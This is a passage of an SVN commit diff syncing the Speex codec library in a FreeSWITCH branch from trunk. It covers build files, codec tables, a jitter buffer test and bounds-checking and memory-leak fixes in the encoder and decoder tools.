    callback.callback_id = SPEEX_INBAND_CHAR;
    callback.func = speex_std_char_handler;
@@ -74,13 +73,13 @@
       exit(1);
    }
    inFile = argv[1];
-   fin = fopen(inFile, "r");
+   fin = fopen(inFile, "rb");
    outFile = argv[2];
-   fout = fopen(outFile, "w+");
+   fout = fopen(outFile, "wb+");
    if (argc==4)
    {
       bitsFile = argv[3];
-      fbits = fopen(bitsFile, "w");
+      fbits = fopen(bitsFile, "wb");
    }
    speex_bits_init(&bits);
    while (!feof(fin))
@@ -88,8 +87,6 @@
       fread(in_short, sizeof(short), FRAME_SIZE, fin);
       if (feof(fin))
          break;
-      for (i=0;i<FRAME_SIZE;i++)
-         in_float[i]=in_short[i];
       speex_bits_reset(&bits);
 
       speex_encode_int(st, in_short, &bits);

Copied: freeswitch/branches/seven/libs/speex/libspeex/testjitter.c (from rev 14471, freeswitch/trunk/libs/speex/libspeex/testjitter.c) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/testjitter.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/testjitter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,75 @@
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <speex/speex_jitter.h>
+#include <stdio.h>
+
+union jbpdata {
+  unsigned int idx;
+  unsigned char data[4];
+};
+
+void synthIn(JitterBufferPacket *in, int idx, int span) {
+  union jbpdata d;
+  d.idx = idx;
+  
+  in->data = d.data;
+  in->len = sizeof(d);
+  in->timestamp = idx * 10;
+  in->span = span * 10;
+  in->sequence = idx;
+  in->user_data = 0;
+}
+
+void jitterFill(JitterBuffer *jb) {
+   char buffer[65536];
+   JitterBufferPacket in, out;
+   int i;
+
+   out.data = buffer;
+   
+   jitter_buffer_reset(jb);
+
+   for(i=0;i<100;++i) {
+     synthIn(&in, i, 1);
+     jitter_buffer_put(jb, &in);
+     
+     out.len = 65536;
+     if (jitter_buffer_get(jb, &out, 10, NULL) != JITTER_BUFFER_OK) {
+       printf("Fill test failed iteration %d\n", i);
+     }
+     if (out.timestamp != i * 10) {
+       printf("Fill test expected %d got %d\n", i*10, out.timestamp);
+     }
+     jitter_buffer_tick(jb);
+   }
+}
+
+int main()
+{
+   char buffer[65536];
+   JitterBufferPacket in, out;
+   int i;
+   
+   JitterBuffer *jb = jitter_buffer_init(10);
+   
+   out.data = buffer;
+   
+   /* Frozen sender case */
+   jitterFill(jb);
+   for(i=0;i<100;++i) {
+     out.len = 65536;
+     jitter_buffer_get(jb, &out, 10, NULL);
+     jitter_buffer_tick(jb);
+   }
+   synthIn(&in, 100, 1);
+   jitter_buffer_put(jb, &in);
+   out.len = 65536;
+   if (jitter_buffer_get(jb, &out, 10, NULL) != JITTER_BUFFER_OK) {
+     printf("Failed frozen sender resynchronize\n");
+   } else {
+     printf("Frozen sender: Jitter %d\n", out.timestamp - 100*10);
+   }
+   return 0;
+}

Modified: freeswitch/branches/seven/libs/speex/libspeex/vbr.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/vbr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/vbr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -45,31 +45,32 @@
 #define MIN_ENERGY 6000
 #define NOISE_POW .3
 
+#ifndef DISABLE_VBR
 
 const float vbr_nb_thresh[9][11]={
-   {-1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0}, /*   CNG   */
-   { 3.5,  2.5,  2.0,  1.2,  0.5,  0.0, -0.5, -0.7, -0.8, -0.9, -1.0}, /*  2 kbps */
-   {10.0,  6.5,  5.2,  4.5,  3.9,  3.5,  3.0,  2.5,  2.3,  1.8,  1.0}, /*  6 kbps */
-   {11.0,  8.8,  7.5,  6.5,  5.0,  3.9,  3.9,  3.9,  3.5,  3.0,  1.0}, /*  8 kbps */
-   {11.0, 11.0,  9.9,  9.0,  8.0,  7.0,  6.5,  6.0,  5.0,  4.0,  2.0}, /* 11 kbps */
-   {11.0, 11.0, 11.0, 11.0,  9.5,  9.0,  8.0,  7.0,  6.5,  5.0,  3.0}, /* 15 kbps */
-   {11.0, 11.0, 11.0, 11.0, 11.0, 11.0,  9.5,  8.5,  8.0,  6.5,  4.0}, /* 18 kbps */
-   {11.0, 11.0, 11.0, 11.0, 11.0, 11.0, 11.0, 11.0,  9.8,  7.5,  5.5}, /* 24 kbps */ 
-   { 8.0,  5.0,  3.7,  3.0,  2.5,  2.0,  1.8,  1.5,  1.0,  0.0,  0.0}  /*  4 kbps */
+   {-1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f}, /*   CNG   */
+   { 4.0f,  2.5f,  2.0f,  1.2f,  0.5f,  0.0f, -0.5f, -0.7f, -0.8f, -0.9f, -1.0f}, /*  2 kbps */
+   {10.0f,  6.5f,  5.2f,  4.5f,  3.9f,  3.5f,  3.0f,  2.5f,  2.3f,  1.8f,  1.0f}, /*  6 kbps */
+   {11.0f,  8.8f,  7.5f,  6.5f,  5.0f,  3.9f,  3.9f,  3.9f,  3.5f,  3.0f,  1.0f}, /*  8 kbps */
+   {11.0f, 11.0f,  9.9f,  8.5f,  7.0f,  6.0f,  4.5f,  4.0f,  4.0f,  4.0f,  2.0f}, /* 11 kbps */
+   {11.0f, 11.0f, 11.0f, 11.0f,  9.5f,  8.5f,  8.0f,  7.0f,  6.0f,  5.0f,  3.0f}, /* 15 kbps */
+   {11.0f, 11.0f, 11.0f, 11.0f, 11.0f, 11.0f,  9.5f,  8.5f,  7.0f,  6.0f,  5.0f}, /* 18 kbps */
+   {11.0f, 11.0f, 11.0f, 11.0f, 11.0f, 11.0f, 11.0f, 11.0f,  9.8f,  9.5f,  7.5f}, /* 24 kbps */ 
+   { 7.0f,  4.5f,  3.7f,  3.0f,  2.5f,  2.0f,  1.8f,  1.5f,  1.0f,  0.0f,  0.0f}  /*  4 kbps */
 };
 
 
 const float vbr_hb_thresh[5][11]={
-   {-1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0}, /* silence */
-   {-1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0}, /*  2 kbps */
-   {11.0, 11.0,  9.5,  8.5,  7.5,  6.0,  5.0,  3.9,  3.0,  2.0,  1.0}, /*  6 kbps */
-   {11.0, 11.0, 11.0, 11.0, 11.0,  9.5,  8.7,  7.8,  7.0,  6.5,  4.0}, /* 10 kbps */
-   {11.0, 11.0, 11.0, 11.0, 11.0, 11.0, 11.0, 11.0,  9.8,  7.5,  5.5}  /* 18 kbps */ 
+   {-1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f}, /* silence */
+   {-1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f}, /*  2 kbps */
+   {11.0f, 11.0f,  9.5f,  8.5f,  7.5f,  6.0f,  5.0f,  3.9f,  3.0f,  2.0f,  1.0f}, /*  6 kbps */
+   {11.0f, 11.0f, 11.0f, 11.0f, 11.0f,  9.5f,  8.7f,  7.8f,  7.0f,  6.5f,  4.0f}, /* 10 kbps */
+   {11.0f, 11.0f, 11.0f, 11.0f, 11.0f, 11.0f, 11.0f, 11.0f,  9.8f,  7.5f,  5.5f}  /* 18 kbps */ 
 };
 
 const float vbr_uhb_thresh[2][11]={
-   {-1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0, -1.0}, /* silence */
-   { 3.9,  2.5,  0.0,  0.0,  0.0,  0.0,  0.0,  0.0,  0.0,  0.0, -1.0}  /*  2 kbps */
+   {-1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f, -1.0f}, /* silence */
+   { 3.9f,  2.5f,  0.0f,  0.0f,  0.0f,  0.0f,  0.0f,  0.0f,  0.0f,  0.0f, -1.0f}  /*  2 kbps */
 };
 
 void vbr_init(VBRState *vbr)
@@ -270,3 +271,5 @@
 void vbr_destroy(VBRState *vbr)
 {
 }
+
+#endif /* #ifndef DISABLE_VBR */

Modified: freeswitch/branches/seven/libs/speex/libspeex/vbr.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/vbr.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/vbr.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,7 +37,7 @@
 #ifndef VBR_H
 #define VBR_H
 
-#include "misc.h"
+#include "arch.h"
 
 #define VBR_MEMORY_SIZE 5
 

Modified: freeswitch/branches/seven/libs/speex/libspeex/vorbis_psy.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/vorbis_psy.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/vorbis_psy.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -39,7 +39,7 @@
 #define NOISE_COMPAND_LEVELS 40
 
 
-#define todB(x)   ((x)==0?-400.f:log((x)*(x))*4.34294480f)
+#define todB(x)   ((x)>1e-13?log((x)*(x))*4.34294480f:-30)
 #define fromdB(x) (exp((x)*.11512925f))  
 
 /* The bark scale equations are approximations, since the original

Modified: freeswitch/branches/seven/libs/speex/libspeex/vq.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/vq.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/vq.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,7 +36,7 @@
 
 #include "vq.h"
 #include "stack_alloc.h"
-#include "misc.h"
+#include "arch.h"
 
 #ifdef _USE_SSE
 #include <xmmintrin.h>
@@ -70,30 +70,7 @@
    return i;
 }
 
-/*Finds the index of the entry in a codebook that best matches the input*/
-int vq_index(float *in, const float *codebook, int len, int entries)
-{
-   int i,j;
-   float min_dist=0;
-   int best_index=0;
-   for (i=0;i<entries;i++)
-   {
-      float dist=0;
-      for (j=0;j<len;j++)
-      {
-         float tmp = in[j]-*codebook++;
-         dist += tmp*tmp;
-      }
-      if (i==0 || dist<min_dist)
-      {
-         min_dist=dist;
-         best_index=i;
-      }
-   }
-   return best_index;
-}
 
-
 #ifndef OVERRIDE_VQ_NBEST
 /*Finds the indices of the n-best entries in a codebook*/
 void vq_nbest(spx_word16_t *in, const spx_word16_t *codebook, int len, int entries, spx_word32_t *E, int N, int *nbest, spx_word32_t *best_dist, char *stack)

Modified: freeswitch/branches/seven/libs/speex/libspeex/vq.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/vq.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/vq.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,12 +35,11 @@
 #ifndef VQ_H
 #define VQ_H
 
-#include "misc.h"
+#include "arch.h"
 
 int scal_quant(spx_word16_t in, const spx_word16_t *boundary, int entries);
 int scal_quant32(spx_word32_t in, const spx_word32_t *boundary, int entries);
 
-int vq_index(float *in, const float *codebook, int len, int entries);
 #ifdef _USE_SSE
 #include <xmmintrin.h>
 void vq_nbest(spx_word16_t *in, const __m128 *codebook, int len, int entries, __m128 *E, int N, int *nbest, spx_word32_t *best_dist, char *stack);

Modified: freeswitch/branches/seven/libs/speex/libspeex/window.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/window.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/window.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,9 +33,13 @@
 #include "config.h"
 #endif
 
-#include "misc.h"
+#include "arch.h"
 
 #ifdef FIXED_POINT
+const spx_word16_t lag_window[11] = {
+   16384, 16337, 16199, 15970, 15656, 15260, 14790, 14254, 13659, 13015, 12330
+};
+
 const spx_word16_t lpc_window[200] = {
 1310, 1313, 1321, 1333, 1352, 1375, 1403, 1436,
 1475, 1518, 1567, 1621, 1679, 1743, 1811, 1884,
@@ -64,31 +68,35 @@
 6797, 6028, 5251, 4470, 3695, 2943, 2248, 1696
 };
 #else
+const spx_word16_t lag_window[11] = {
+   1.00000, 0.99716, 0.98869, 0.97474, 0.95554, 0.93140, 0.90273, 0.86998, 0.83367, 0.79434, 0.75258
+};
+
 const spx_word16_t lpc_window[200] = {
-   0.080000, 0.080158, 0.080630, 0.081418, 0.082520, 0.083935, 0.085663, 0.087703,
-   0.090052, 0.092710, 0.095674, 0.098943, 0.102514, 0.106385, 0.110553, 0.115015,
-   0.119769, 0.124811, 0.130137, 0.135744, 0.141628, 0.147786, 0.154212, 0.160902,
-   0.167852, 0.175057, 0.182513, 0.190213, 0.198153, 0.206328, 0.214731, 0.223357,
-   0.232200, 0.241254, 0.250513, 0.259970, 0.269619, 0.279453, 0.289466, 0.299651,
-   0.310000, 0.320507, 0.331164, 0.341965, 0.352901, 0.363966, 0.375151, 0.386449,
-   0.397852, 0.409353, 0.420943, 0.432615, 0.444361, 0.456172, 0.468040, 0.479958,
-   0.491917, 0.503909, 0.515925, 0.527959, 0.540000, 0.552041, 0.564075, 0.576091,
-   0.588083, 0.600042, 0.611960, 0.623828, 0.635639, 0.647385, 0.659057, 0.670647,
-   0.682148, 0.693551, 0.704849, 0.716034, 0.727099, 0.738035, 0.748836, 0.759493,
-   0.770000, 0.780349, 0.790534, 0.800547, 0.810381, 0.820030, 0.829487, 0.838746,
-   0.847800, 0.856643, 0.865269, 0.873672, 0.881847, 0.889787, 0.897487, 0.904943,
-   0.912148, 0.919098, 0.925788, 0.932214, 0.938372, 0.944256, 0.949863, 0.955189,
-   0.960231, 0.964985, 0.969447, 0.973615, 0.977486, 0.981057, 0.984326, 0.987290,
-   0.989948, 0.992297, 0.994337, 0.996065, 0.997480, 0.998582, 0.999370, 0.999842,
-   1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000,
-   1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000,
-   1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000,
-   1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000,
-   1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000,
-   1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000, 1.000000,
-   1.000000, 1.000000, 1.000000, 0.998640, 0.994566, 0.987787, 0.978324, 0.966203,
-   0.951458, 0.934131, 0.914270, 0.891931, 0.867179, 0.840084, 0.810723, 0.779182,
-   0.745551, 0.709930, 0.672424, 0.633148, 0.592223, 0.549781, 0.505964, 0.460932,
-   0.414863, 0.367968, 0.320511, 0.272858, 0.225569, 0.179655, 0.137254, 0.103524
+   0.080000f, 0.080158f, 0.080630f, 0.081418f, 0.082520f, 0.083935f, 0.085663f, 0.087703f,
+   0.090052f, 0.092710f, 0.095674f, 0.098943f, 0.102514f, 0.106385f, 0.110553f, 0.115015f,
+   0.119769f, 0.124811f, 0.130137f, 0.135744f, 0.141628f, 0.147786f, 0.154212f, 0.160902f,
+   0.167852f, 0.175057f, 0.182513f, 0.190213f, 0.198153f, 0.206328f, 0.214731f, 0.223357f,
+   0.232200f, 0.241254f, 0.250513f, 0.259970f, 0.269619f, 0.279453f, 0.289466f, 0.299651f,
+   0.310000f, 0.320507f, 0.331164f, 0.341965f, 0.352901f, 0.363966f, 0.375151f, 0.386449f,
+   0.397852f, 0.409353f, 0.420943f, 0.432615f, 0.444361f, 0.456172f, 0.468040f, 0.479958f,
+   0.491917f, 0.503909f, 0.515925f, 0.527959f, 0.540000f, 0.552041f, 0.564075f, 0.576091f,
+   0.588083f, 0.600042f, 0.611960f, 0.623828f, 0.635639f, 0.647385f, 0.659057f, 0.670647f,
+   0.682148f, 0.693551f, 0.704849f, 0.716034f, 0.727099f, 0.738035f, 0.748836f, 0.759493f,
+   0.770000f, 0.780349f, 0.790534f, 0.800547f, 0.810381f, 0.820030f, 0.829487f, 0.838746f,
+   0.847800f, 0.856643f, 0.865269f, 0.873672f, 0.881847f, 0.889787f, 0.897487f, 0.904943f,
+   0.912148f, 0.919098f, 0.925788f, 0.932214f, 0.938372f, 0.944256f, 0.949863f, 0.955189f,
+   0.960231f, 0.964985f, 0.969447f, 0.973615f, 0.977486f, 0.981057f, 0.984326f, 0.987290f,
+   0.989948f, 0.992297f, 0.994337f, 0.996065f, 0.997480f, 0.998582f, 0.999370f, 0.999842f,
+   1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f,
+   1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f,
+   1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f,
+   1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f,
+   1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f,
+   1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f, 1.000000f,
+   1.000000f, 1.000000f, 1.000000f, 0.998640f, 0.994566f, 0.987787f, 0.978324f, 0.966203f,
+   0.951458f, 0.934131f, 0.914270f, 0.891931f, 0.867179f, 0.840084f, 0.810723f, 0.779182f,
+   0.745551f, 0.709930f, 0.672424f, 0.633148f, 0.592223f, 0.549781f, 0.505964f, 0.460932f,
+   0.414863f, 0.367968f, 0.320511f, 0.272858f, 0.225569f, 0.179655f, 0.137254f, 0.103524f
 };
 #endif

Modified: freeswitch/branches/seven/libs/speex/speex.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/speex.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/speex.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -21,7 +21,7 @@
   elif test "x$speex_prefix" != "x" ; then
     SPEEX_LIBS="-L$speex_prefix/lib"
   elif test "x$prefix" != "xNONE" ; then
-    SPEEX_LIBS=""
+    SPEEX_LIBS="-L$prefix/lib"
   fi
 
   SPEEX_LIBS="$SPEEX_LIBS -lspeex"

Modified: freeswitch/branches/seven/libs/speex/speex.pc.in (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/speex.pc.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/speex.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,4 +11,5 @@
 Requires:
 Conflicts:
 Libs: -L${libdir} -lspeex
+Libs.private: -lm
 Cflags: -I${includedir}

Copied: freeswitch/branches/seven/libs/speex/speexdsp.pc.in (from rev 14471, freeswitch/trunk/libs/speex/speexdsp.pc.in) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/speexdsp.pc.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/speexdsp.pc.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+# libspeexdsp pkg-config source file
+
+prefix=@prefix@
+exec_prefix=@exec_prefix@
+libdir=@libdir@
+includedir=@includedir@
+
+Name: speexdsp
+Description: Speexdsp is a speech processing library that goes along with the Speex codec
+Version: @SPEEX_VERSION@
+Requires: @FFT_PKGCONFIG@
+Conflicts:
+Libs: -L${libdir} -lspeexdsp
+Libs.private: -lm
+Cflags: -I${includedir}

Modified: freeswitch/branches/seven/libs/speex/src/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/src/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/src/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 
 INCLUDES = -I$(top_srcdir)/include -I$(top_builddir)/include -I$(top_builddir) @OGG_CFLAGS@
 
-mandir = $(prefix)/share/man
 man_MANS = speexenc.1 speexdec.1
 
 EXTRA_DIST = $(man_MANS) getopt_win.h getopt.c getopt1.c wave_out.c wave_out.h skeleton.h
@@ -18,9 +17,9 @@
 bin_PROGRAMS = speexenc speexdec
 
 speexenc_SOURCES = speexenc.c wav_io.c skeleton.c
-speexenc_LDADD = $(top_builddir)/libspeex/libspeex.la \
-	$(OGG_LIBS)
+speexenc_LDADD = $(top_builddir)/libspeex/libspeex.la $(top_builddir)/libspeex/libspeexdsp.la \
+	$(OGG_LIBS)  @FFT_LIBS@	
 
 speexdec_SOURCES = speexdec.c wav_io.c
 speexdec_LDADD = $(top_builddir)/libspeex/libspeex.la \
-	$(OGG_LIBS)
+	$(OGG_LIBS)  @FFT_LIBS@

Modified: freeswitch/branches/seven/libs/speex/src/speexdec.1 (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/src/speexdec.1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/src/speexdec.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 .\" DO NOT MODIFY THIS FILE!  It was generated by help2man 1.29.
 .TH SPEEXDEC "1" "September 2003" "speexdec version 1.1" "User Commands"
 .SH NAME
-speexdec \- manual page for speexdec version 1.1
+speexdec \- The reference implementation speex decoder.
 .SH SYNOPSIS
 .B speexdec
 [\fIoptions\fR] \fIinput_file.spx \fR[\fIoutput_file\fR]

Modified: freeswitch/branches/seven/libs/speex/src/speexdec.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/src/speexdec.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/src/speexdec.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,6 +36,8 @@
 #include <stdio.h>
 #if !defined WIN32 && !defined _WIN32
 #include <unistd.h>
+#endif
+#ifdef HAVE_GETOPT_H
 #include <getopt.h>
 #endif
 #ifndef HAVE_GETOPT_LONG
@@ -48,8 +50,6 @@
 #include <ogg/ogg.h>
 
 #if defined WIN32 || defined _WIN32
-#include <windows.h>
-#include "getopt_win.h"
 #include "wave_out.h"
 /* We need the following two to set stdout to binary */
 #include <io.h>
@@ -84,7 +84,6 @@
 #include <speex/speex_header.h>
 #include <speex/speex_stereo.h>
 #include <speex/speex_callbacks.h>
-#include "wav_io.h"
 
 #define MAX_FRAME_SIZE 2000
 
@@ -107,7 +106,7 @@
    end = c+length;
    len=readint(c, 0);
    c+=4;
-   if (c+len>end)
+   if (len < 0 || c+len>end)
    {
       fprintf (stderr, "Invalid/corrupted comments\n");
       return;
@@ -131,7 +130,7 @@
       }
       len=readint(c, 0);
       c+=4;
-      if (c+len>end)
+      if (len < 0 || c+len>end)
       {
          fprintf (stderr, "Invalid/corrupted comments\n");
          return;
@@ -232,6 +231,8 @@
       {
 #if defined WIN32 || defined _WIN32
          _setmode(_fileno(stdout), _O_BINARY);
+#elif defined OS2
+         _fsetmode(stdout,"b");
 #endif
          fout=stdout;
       }
@@ -289,13 +290,17 @@
 
 void version()
 {
-   printf ("speexdec (Speex decoder) version " SPEEX_VERSION " (compiled " __DATE__ ")\n");
+   const char* speex_version;
+   speex_lib_ctl(SPEEX_LIB_GET_VERSION_STRING, (void*)&speex_version);
+   printf ("speexdec (Speex decoder) version %s (compiled " __DATE__ ")\n", speex_version);
    printf ("Copyright (C) 2002-2006 Jean-Marc Valin\n");
 }
 
 void version_short()
 {
-   printf ("speexdec version " SPEEX_VERSION "\n");
+   const char* speex_version;
+   speex_lib_ctl(SPEEX_LIB_GET_VERSION_STRING, (void*)&speex_version);
+   printf ("speexdec version %s\n", speex_version);
    printf ("Copyright (C) 2002-2006 Jean-Marc Valin\n");
 }
 
@@ -317,6 +322,7 @@
    {
       fprintf (stderr, "Mode number %d does not (yet/any longer) exist in this version\n", 
                header->mode);
+      free(header);
       return NULL;
    }
       
@@ -329,17 +335,20 @@
    if (header->speex_version_id > 1)
    {
       fprintf (stderr, "This file was encoded with Speex bit-stream version %d, which I don't know how to decode\n", header->speex_version_id);
+      free(header);
       return NULL;
    }
 
    if (mode->bitstream_version < header->mode_bitstream_version)
    {
       fprintf (stderr, "The file was encoded with a newer version of Speex. You need to upgrade in order to play it.\n");
+      free(header);
       return NULL;
    }
    if (mode->bitstream_version > header->mode_bitstream_version) 
    {
       fprintf (stderr, "The file was encoded with an older version of Speex. You would need to downgrade the version in order to play it.\n");
+      free(header);
       return NULL;
    }
    
@@ -347,19 +356,13 @@
    if (!st)
    {
       fprintf (stderr, "Decoder initialization failed.\n");
+      free(header);
       return NULL;
    }
    speex_decoder_ctl(st, SPEEX_SET_ENH, &enh_enabled);
    speex_decoder_ctl(st, SPEEX_GET_FRAME_SIZE, frame_size);
    *granule_frame_size = *frame_size;
 
-   if (!(*channels==1))
-   {
-      callback.callback_id = SPEEX_INBAND_STEREO;
-      callback.func = speex_std_stereo_request_handler;
-      callback.data = stereo;
-      speex_decoder_ctl(st, SPEEX_SET_HANDLER, &callback);
-   }
    if (!*rate)
       *rate = header->rate;
    /* Adjust rate if --force-* options are used */
@@ -384,6 +387,15 @@
 
    if (*channels==-1)
       *channels = header->nb_channels;
+
+   if (!(*channels==1))
+   {
+      *channels = 2;
+      callback.callback_id = SPEEX_INBAND_STEREO;
+      callback.func = speex_std_stereo_request_handler;
+      callback.data = stereo;
+      speex_decoder_ctl(st, SPEEX_SET_HANDLER, &callback);
+   }
    
    if (!quiet)
    {
@@ -630,7 +642,7 @@
          packet_no=0;
          while (!eos && ogg_stream_packetout(&os, &op) == 1)
          {
-	    if (!memcmp(op.packet, "Speex", 5)) {
+	    if (op.bytes>=5 && !memcmp(op.packet, "Speex", 5)) {
 	       speex_serialno = os.serialno;
 	    }
 	    if (speex_serialno == -1 || os.serialno != speex_serialno)

Modified: freeswitch/branches/seven/libs/speex/src/speexenc.1 (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/src/speexenc.1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/src/speexenc.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 .\" DO NOT MODIFY THIS FILE!  It was generated by help2man 1.29.
 .TH SPEEXENC "1" "September 2003" "speexenc version 1.1" "User Commands"
 .SH NAME
-speexenc \- manual page for speexenc version 1.1
+speexenc \- The reference implementation speex encoder.
 .SH SYNOPSIS
 .B speexenc
 [\fIoptions\fR] \fIinput_file output_file\fR

Modified: freeswitch/branches/seven/libs/speex/src/speexenc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/src/speexenc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/src/speexenc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,6 +36,8 @@
 #include <stdio.h>
 #if !defined WIN32 && !defined _WIN32
 #include <unistd.h>
+#endif
+#ifdef HAVE_GETOPT_H
 #include <getopt.h>
 #endif
 #ifndef HAVE_GETOPT_LONG
@@ -53,7 +55,6 @@
 #include <speex/speex_preprocess.h>
 
 #if defined WIN32 || defined _WIN32
-#include "getopt_win.h"
 /* We need the following two to set stdout to binary */
 #include <io.h>
 #include <fcntl.h>
@@ -182,13 +183,17 @@
 
 void version()
 {
-   printf ("speexenc (Speex encoder) version " SPEEX_VERSION " (compiled " __DATE__ ")\n");
+   const char* speex_version;
+   speex_lib_ctl(SPEEX_LIB_GET_VERSION_STRING, (void*)&speex_version);
+   printf ("speexenc (Speex encoder) version %s (compiled " __DATE__ ")\n", speex_version);
    printf ("Copyright (C) 2002-2006 Jean-Marc Valin\n");
 }
 
 void version_short()
 {
-   printf ("speexenc version " SPEEX_VERSION "\n");
+   const char* speex_version;
+   speex_lib_ctl(SPEEX_LIB_GET_VERSION_STRING, (void*)&speex_version);
+   printf ("speexenc version %s\n", speex_version);
    printf ("Copyright (C) 2002-2006 Jean-Marc Valin\n");
 }
 
@@ -316,7 +321,8 @@
    SpeexHeader header;
    int nframes=1;
    spx_int32_t complexity=3;
-   char *vendor_string = "Encoded with Speex " SPEEX_VERSION;
+   const char* speex_version;
+   char vendor_string[64];
    char *comments;
    int comments_length;
    int close_in=0, close_out=0;
@@ -329,6 +335,9 @@
    SpeexPreprocessState *preprocess = NULL;
    int denoise_enabled=0, agc_enabled=0;
    spx_int32_t lookahead = 0;
+
+   speex_lib_ctl(SPEEX_LIB_GET_VERSION_STRING, (void*)&speex_version);
+   snprintf(vendor_string, sizeof(vendor_string), "Encoded with Speex %s", speex_version);
    
    comment_init(&comments, &comments_length, vendor_string);
 
@@ -505,6 +514,8 @@
    {
 #if defined WIN32 || defined _WIN32
          _setmode(_fileno(stdin), _O_BINARY);
+#elif defined OS2
+         _fsetmode(stdin,"b");
 #endif
       fin=stdin;
    }
@@ -949,6 +960,8 @@
   int len=4+vendor_length+4;
   char *p=(char*)malloc(len);
   if(p==NULL){
+     fprintf (stderr, "malloc failed in comment_init()\n");
+     exit(1);
   }
   writeint(p, 0, vendor_length);
   memcpy(p+4, vendor_string, vendor_length);
@@ -967,6 +980,8 @@
 
   p=(char*)realloc(p, len);
   if(p==NULL){
+     fprintf (stderr, "realloc failed in comment_add()\n");
+     exit(1);
   }
 
   writeint(p, *length, tag_len+val_len);      /* length of comment */

Modified: freeswitch/branches/seven/libs/speex/src/wav_io.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/src/wav_io.c	2009-08-09 05:55:48 UTC (rev 14471)
